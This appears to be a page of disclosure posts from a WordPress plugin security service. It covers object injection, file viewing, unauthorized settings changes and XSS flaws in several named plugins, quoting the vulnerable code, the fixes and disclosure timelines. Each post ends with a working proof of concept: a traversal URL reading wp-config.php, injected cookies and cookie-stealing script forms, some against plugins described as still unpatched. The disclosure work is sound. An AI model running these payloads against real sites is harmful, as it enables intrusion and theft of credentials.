17 Aug

PHP Object Injection Vulnerability in Leaky Paywall

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are PHP object injection vulnerabilities since those are likely to be exploited if hackers become aware of them. Through that we came across a PHP object injection vulnerability in the plugin Leaky Paywall, which permits implementing a paywall on a website.

That a plugin used for business purposes has a serious vulnerability is all too common in our experience and is good reminder of the value of getting a security review of plugins that business can make a lot of sense. Through our service, paying customers can suggest and vote for plugins to have a review done. We also recently introduced the option to purchase the same type of review for a plugin of your choice.

The plugin makes the function process_cookie_requests() available through WordPress AJAX functionality whether the request comes from someone that is logged in to WordPress or not (/include/class-restrictions.php):

11
12
add_action( 'wp_ajax_nopriv_leaky_paywall_process_cookie', array( $this, 'process_cookie_requests' ) );
add_action( 'wp_ajax_leaky_paywall_process_cookie', array( $this, 'process_cookie_requests' ) );

In the process_cookie_requests() function, if the cookie “issuem_lp” exists its value would be unserialized, which permits PHP object to occur:

59
60
61
if ( !empty( $_COOKIE['issuem_lp'] ) ) {
	$available_content = maybe_unserialize( stripslashes( $_COOKIE['issuem_lp'] ) );
}

There was similar code in the function process_requests() in the file /class.php, which may also be vulnerable.

After we notified the developer of the issue they released version 4.9.2, which resolves the vulnerability by replacing the usage serialization and unserialization with JSON encoding and decoding.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, set the value of the cookie “issuem_lp” to “O:20:”php_object_injection”:0:{}” and then when you visit the following URL  the message “PHP object injection has occurred.” will be shown.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[valid post ID]” with the ID number of a valid post.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=leaky_paywall_process_cookie&post_id=[valid post ID]

Timeline

  • August 10, 2017 – Developer notified.
  • August 15, 2017 – Developer responds.
  • August 17, 2017 – Version 4.9.2 released, which fixes vulnerability.
16 Aug

Settings Change Vulnerability in Asgaros Forum

One of the ways we make sure we have the best data on vulnerabilities in WordPress plugins is by monitoring the WordPress Support Forum for threads possibly related to those. Through that today we ran across a thread started earlier today that seemed to indicate malicious .php files were being uploaded through the Asgaros Forum plugin.

Looking over the plugin we found that the plugin’s settings would not normally allow that, but one of the posts in thread pointed to how it was occurring:

In addition to writing the specified file (which was destroyed by the antivirus server) the forum flew settings to permit all and all, as well as the skin fell back to the default. The impression that the settings were simply overwritten.

It sounded like the attacker was changing the plugin’s settings and then uploading files. We then went to see how the changing of the plugin’s settings was handled. What we found was that as of version 1.5.7 anyone could change the plugin’s settings.

The plugin registers the function save_settings() to run during admin_init (in the file /admin/admin.php):

11
add_action('admin_init', array($this, 'save_settings'));

That will cause it to run when visiting certain pages even if you are not logged in to WordPress.

The save_settings() function would then cause the function save_options() to run if the POST input “af_options_submit” exists:

104
105
106
function save_settings() {
	if (isset($_POST['af_options_submit'])) {
		$this->save_options();

The save_options() function does not do any checks before beginning to save the settings:

140
141
142
143
144
145
function save_options() {
	global $asgarosforum;
	$saved_ops = array();
 
	foreach ($asgarosforum->options_default as $k => $v) {
		if (isset($_POST[$k])) {

So anyone one could change the plugin’s setting by simply sending a request to a page where admin_init occurs.

At the same time we were notifying the developer of our findings they released version 1.5.8, which added a capabilities check before save_options() runs:

122
123
124
125
126
function save_settings() {
	// Only save changes when the user is an administrator.
	if (current_user_can('manage_options')) {
		if (isset($_POST['af_options_submit'])) {
			$this->save_options();

That prevents someone not logged in as Administrator from changing the settings since normally only Administrators have the manage_options capability.

With that change the saving of the settings is still susceptible to cross-site request forgery (CSRF), which means than an attacker could cause a logged in Administrator to changes the plugin’s settings unintentionally. That is less lot less likely to be exploited than the ability for anyone to change the settings, but still should be protected against and we let the developer know about that when we first contacted them and in our reply after they let us know that they had release version 1.5.8.

Proof of Concept

The following proof of concept will cause the “Senders name” in the settings to “settings changed”

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="notification_sender_name" value="settings changed" />
<input type="submit" name="af_options_submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • August 16, 2017 – Developer notified.
  • August 16, 2017 – Version 1.5.8 released, which fixes the non-CSRF settings change vulnerability.
  • August 16, 2017 – Vulnerability added to free data that comes with our service’s companion plugin.
  • <

  • August 17, 2017 – Version 1.5.9 released, which fixes CSRF vulnerability.
11 Aug

Arbitrary File Viewing Vulnerability in WP Post Popup

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. For the first time we have found an arbitrary file viewing vulnerability through this, which is  a type of vulnerability that is up there with the most likely to have exploit attempts. What is concerning about the vulnerability we found in the plugin WP Post Popup is how obvious the issue is and yet it had yet to be noticed.

In the file /public/includes/proxy.php the first code was:

15
16
if (isset($_GET['url'])) {
    echo file_get_contents($_GET['url']);

That code takes the value of the GET input “url”, passes it to the function file_get_contents(), and echo’s the result. So with that you can view the contents of any file on the website. Hackers would normally exploit that to the view the contents of the WordPress configuration file, wp-config.php file.

In addition to being able to be used for arbitrary file viewing, the vulnerability could be used for cross-site scripting (XSS) since file_get_contents() can also get the contents of URLs ” if the fopen wrappers have been enabled”.

We notified the developer and several hours later the vulnerability was resolved by removing that file and changing how the relevant functionality is handled.

Proof of Concept

The following proof of concept will display the contents of the WordPress configuration file, wp-config.php.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-content/plugins/wp-post-modal/public/includes/proxy.php?url=../../../../../wp-config.php

Timeline

  • August 10, 2017 – Developer notified.
  • August 10, 2017 – Developer responds.
  • August 10, 2017 – Version 2.0.1 released, which fixes vulnerability.
09 Aug

Authenticated Information Disclosure Vulnerability in Cherry Team Members

The plugin Cherry Team Members had the same authenticated information disclosure that the Cherry Services List had. The vulnerability was caused by the fact that  contributor and author level users could duplicate posts that they would not have been able to edit. That could for example, have allowed them to gain access to the contents of password protected posts.

The plugin makes the function duplicate_post_as_draft() available to anyone logged in through the admin_action action (in the file /admin/includes/class-cherry-team-admin-columns.php):

41
add_action( 'admin_action_cherry_team_clone_post', array( $this, 'duplicate_post_as_draft' ) );

The only restriction that the plugin placed on accessing that function’s code and duplicating a post as of version 1.4.1 is that the user has the edit_posts capability, which is normally possessed by contributor level and above users:

84
85
86
87
88
function duplicate_post_as_draft() {
 
	if ( ! current_user_can( 'edit_posts' ) ) {
		wp_die( 'You don\'t have permissions to do this' );
	}

After we notified the developer of the plugin of the issue, version 1.4.2 was released, which fixes the vulnerability by checking if the user has the capability to edit the post being duplicated:

102
103
104
if ( ! current_user_can( 'edit_post', $_REQUEST['post'] ) ) {
	wp_die( 'You don\'t have permissions to do this' );
}

Proof of Concept

Log in to WordPress as a contributor-level user and visiting the following URL, with the value of “[path to WordPress]” replaced with the location of WordPress and  “[post ID]” replaced with the value of a password protected post on the website:

http://[path to WordPress]/wp-admin/admin.php?action=cherry_team_clone_post&post=[post ID]

Timeline

  • August 8, 2017 –  Developer notified.
  • August 9. 2017 – Version 1.4.2 released, which fixes vulnerability.
09 Aug

Authenticated Information Disclosure Vulnerability in Cherry Services List

While looking into a possible expansion of what we check during our security review of WordPress plugins  chosen by our customers we found that the plugin Cherry Services List had an authenticated information disclosure vulnerability. That was caused by the fact that contributor and author level users could duplicate posts that they would not have been able to edit. That could for example, have allowed them to gain access to the contents of password protected posts.

The plugin makes the function duplicate_post_as_draft() available to anyone logged in through the admin_action action (in the file /admin/includes/class-cherry-services-meta.php):

41
add_action( 'admin_action_cherry_services_clone_post', array( $this, 'duplicate_post_as_draft' ) );

The only restriction that the plugin placed on accessing that function’s code and duplicating a post as of version 1.4.1 is that the user has the edit_posts capability, which is normally possessed by contributor level and above users:

85
86
87
88
89
function duplicate_post_as_draft() {
 
	if ( ! current_user_can( 'edit_posts' ) ) {
		wp_die( __( 'You don\'t have permissions to do this', 'cherry-services' ) );
	}

After we notified the developer of the plugin of the issue, version 1.4.2 was released, which fixes the vulnerability by checking if the user has the capability to edit the post being duplicated:

104
105
106
if ( ! current_user_can( 'edit_post', $_REQUEST['post'] ) ) {
	wp_die( 'You don\'t have permissions to do this!', 'cherry-services' );
}

Proof of Concept

Log in to WordPress as a contributor-level user and visiting the following URL, with the value of “[path to WordPress]” replaced with the location of WordPress and  “[post ID]” replaced with the value of a password protected post on the website:

http://[path to WordPress]/wp-admin/admin.php?action=cherry_services_clone_post&post=[post ID]

Timeline

  • August 8, 2017 –  Developer notified.
  • August 9. 2017 – Version 1.4.2 released, which fixes vulnerability.
02 Aug

Authenticated PHP Object Injection Vulnerability in Business Directory Plugin

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are PHP object injection vulnerabilities since those are likely to be exploited if hackers become aware of them (unlike other types of vulnerabilities that security companies are known to overstate the impact of). Through that we came across an authenticated PHP object injection vulnerability in the plugin Business Directory Plugin.

The plugin makes the function ajax_csv_export() available to anyone logged in to WordPress through WordPress’ AJAX functionality (in the file /includes/admin/csv-export.php):

13
add_action( 'wp_ajax_wpbdp-csv-export', array( &$this, 'ajax_csv_export' ) );

This plugin requires user registration by default for a major piece of its functionality, so it is likely that fair number of the websites using it would allow untrusted individuals to create accounts.

As of version 4.1.14 that function would unserialize the value of the GET or POST input “state”, which can cause PHP object injection:

30
31
32
33
34
35
36
37
public function ajax_csv_export() {
	$error = '';
 
	try {
		if ( !isset( $_REQUEST['state'] ) ) {
			$export = new WPBDP_CSVExporter( array_merge( $_REQUEST['settings'], array() ) );
		} else {
			$export = WPBDP_CSVExporter::from_state( unserialize( base64_decode( $_REQUEST['state'] ) ) );

After we notified the developer of the issue they released version 4.1.14.1, which fixes the vulnerability by replacing the usage of the function unserialize() with json_decode() (and replaces the related usage of the serialize() with json_encode() elsewhere). They also added a restriction to limit access to the function to those logged in as Administrators:

30
31
32
33
34
35
36
37
38
39
40
41
public function ajax_csv_export() {
	if ( ! current_user_can( 'administrator' ) ) {
		exit();
	}
 
	$error = '';
 
	try {
		if ( ! isset( $_REQUEST['state'] ) ) {
			$export = new WPBDP_CSVExporter( array_merge( $_REQUEST['settings'], array() ) );
		} else {
			$state  = json_decode( base64_decode( $_REQUEST['state'] ), true );

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, visiting the following URL while logged in to WordPress will cause the message “PHP object injection has occurred.” to be shown.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=wpbdp-csv-export&state=TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=

Timeline

  • July 31, 2017 – Developer notified.
  • August 2, 2017 – Version 4.1.14.1 released, which fixes vulnerability.
31 Jul

PHP Object Injection Vulnerability in Product Reviews

We recently started proactively monitoring for evidence of some high risk vulnerabilities being in WordPress plugins when changes are made to the plugins. One of the types of vulnerabilities we are looking for are PHP object injection vulnerabilities since those are likely to be exploited if hackers become aware of them (unlike other types of vulnerabilities that security companies are known to overstate the impact of). Through that we came across a PHP object injection vulnerability in the plugin Product Reviews.

The plugin’s function EWD_URP_Update_Karama() is made available through WordPress’ AJAX functionality to those logged in to WordPress or those not logged in (in the file /Functions/Process_Ajax.php):

79
80
add_action('wp_ajax_urp_update_karma', 'EWD_URP_Update_Karama');
add_action('wp_ajax_nopriv_urp_update_karma', 'EWD_URP_Update_Karama');

That function takes the value of the cookie “EWD_URP_Karma_IDs” and unserializes it, which would allow PHP object injection:

62
63
64
65
66
67
68
69
70
71
72
73
74
function EWD_URP_Update_Karama() {
    $Path = ABSPATH . 'wp-load.php';
    include_once($Path);
 
    $Review_ID = $_POST['ReviewID'];
    $Direction = $_POST['Direction'];
 
    $Karma = get_post_meta( $Review_ID, 'EWD_URP_Review_Karma', true );
 
    if ($Direction == 'down') {update_post_meta( $Review_ID, 'EWD_URP_Review_Karma', $Karma - 1 );}
    else {update_post_meta( $Review_ID, 'EWD_URP_Review_Karma', $Karma + 1 );}
 
    $EWD_URP_Karma_IDs = unserialize(stripslashes($_COOKIE['EWD_URP_Karma_IDs']));

The unserialization of that cookie also occurs in the function EWD_URP_Display_Review() in the file /Shortcodes/SelectReview.php.

We notified the developer of the issue a week ago and haven’t heard back from them and no changes have been made to the plugin. We notified them of a less serious vulnerability in another of their plugins a month and half ago, which still hasn’t been resolved.

If you were using our service you would have already been warned about the vulnerability in the other plugin if you were impacted and would be notified shortly about this one as well as having us available to work with you to decide how best to protect against it.

Proof of Concept

Make the object to be injected the value of the cookie “EWD_URP_Karma_IDs” and then visit http://[path to WordPress]/wp-admin/admin-ajax.php?action=urp_update_karma (Make sure to replace “[path to WordPress]” with the location of WordPress).

You can use our PHP objection injection test plugin to make testing this proof of concept easier.

Timeline

  • June 24, 2017 – Developer notified.
25 Jul

Reflected Cross-Site Scripting (XSS) Vulnerability in WebLibrarian

Recently a change was made to plugin WebLibrarian that was supposed to “Fix XSS problem in front end short codes.”. After not finding any report had been put out on this issue we started looking over things to see if there was in fact a vulnerability and then prepare a post on it for our customer.

Before we were able to figure out how the issue could be exploited we found that a related vulnerability existed as of the new version.

When a page or post with the shortcode “weblib_itemlist” is visited the function item_list() is run, which is located /includes/short_codes.php.  Several lines in, the following code ran:

$result = "\n<!-- barcodetable: _REQUEST is ".print_r($_REQUEST,true)." -->\n";

That code will output and GET or POST inputs without them being escaped, which could be exploited for reflected cross-site scripting (XSS).

After notifying the developer of the issue, they resolved it the next day by commenting out the line (it was debug code).

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Visit a post or page that has the “weblib_itemlist” shortcode and add the following URL parameter to the URL and then visiting the resulting URL (add a “?” before it if there are not already an URL parameters):

xss=--><script>alert(document.cookie);</script>

Timeline

  • July 24, 2017 – Developer notified.
  • July 25, 2017 – Version 3.4.8.7 released, which fixes vulnerability.
19 Jul

Reflected Cross-Site Scripting (XSS) Vulnerability in Contact Form 7 International Sms Integration

Last month we were trying to get an idea of how effective it would be to try to proactively catch some vulnerabilities when changes are made to WordPress plugins that include those vulnerabilities. In doing one of the preliminary checks we came across a reflected cross-site scripting (XSS) vulnerability that exists in the plugin Contact Form 7 International Sms Integration.

On line 366 of the file /includes/admin/class-sms-log-display.php the value of GET or POST input “page” is output without being escaped:

<input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>" />

While the GET input “page” needs to be set to “cf7-international-sms-integration-settings” for that code to run, the POST input can be set to another value and depending on the configuration of PHP will be the one chosen to be output.

We notified the developer of the issue a month ago, they promptly responded that they would fix it “asap”, but so far the plugin has not been updated.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=cf7-international-sms-integration-settings&tab=smslogs" method="POST">
<input type="hidden" name="page" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • June 19, 2017 – Developer notified.
  • June 19, 2017 – Developer responded.
05 Jul

Persistent Cross-Site Scripting (XSS) Vulnerability in Post Custom Templates Lite

Unlike most companies providing security services related to WordPress we are interested improving the security of the WordPress ecosystem, so that the average website isn’t required to use any security product or service. That isn’t easy since even the people on the WordPress side of things too often don’t seem interested in that. One new way that we are trying to improve security is by catching serious vulnerabilities in WordPress plugins when they are included in a new version of the plugin (if we had more customers we could expand this to less serious vulnerabilities).

Through that we have already found a number of lesser vulnerabilities that came up in the course of looking into potential instances of the more serious vulnerabilities. So far many of those haven’t been fixed, so those using the plugins would want to be using a service or plugin that notifies of vulnerable plugins to aware of the problem. While there a number of those, from our checking the other ones have not included those vulnerabilities or many of the others we have disclosed, so that is where our service provides you something you can’t get elsewhere (those other data source are missing many recently disclosed vulnerabilities disclosed by others as well).

In a troubling reminder of the poor state of the security of WordPress plugins, often the lesser vulnerabilities we have found are due to rather glaring security problems. That was case with the plugin Post Custom Templates Lite, where in looking into a potential arbitrary file upload vulnerability we found that it was possible for anyone to take actions that are only intended for Administrator-level users.

When the plugin is active it causes WordPress to run the plugin’s function otw_pctl_init() as WordPress loads (in the file /otw_post_custom_templates_lite.php):

80
add_action('init', 'otw_pctl_init', 10000 );

The last line of the function otw_pctl_init() causes the file that handles requests to the plugin’s admin actions to run (in the file /include/otw_pctl_functions.php):

101
include_once( 'otw_pctl_process_actions.php' );

Before doing any of those actions there should be a check to make sure the request is coming from an Administrator and that there is a valid to nonce to protect against cross-site request forgery (CSRF). Instead the only check was if the request includes the POST input “otw_pctl_action”, which indicates which action should be taken (in the file /include/otw_pctl_process_actions.php):

6
if( isset( $_POST['otw_pctl_action'] ) ){

It looks like the most serious issue that could have come out of this at this time was persistent cross-site scripting (XSS) due to the ability to change the plugin’s settings, but if it hadn’t been caught now then down the road actions that have more consequence could have been added and left unprotected.

After we notified the developer of the problem they released version 1.7, which adds a capabilities check before allow accessing to the admin functions:

6
if( isset( $_POST['otw_pctl_action'] ) && current_user_can( 'manage_options' ) ){

It also adds proper protection against CSRF.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in an alert box when visiting the page /wp-admin/admin.php?page=otw-pctl-settings.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/" method="POST">
<input type="hidden" name="otw_pctl_action" value="manage_otw_pctl_options" />
<input type="hidden" name="otw_pctl_custom_css" value="</textarea><script>alert(document.cookie);</script>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • June 28, 2017 – Developer notified.
  • June 29, 2017 – Developer responds.
  • July 2, 2017 – Version 1.7 released, which fixes vulnerability.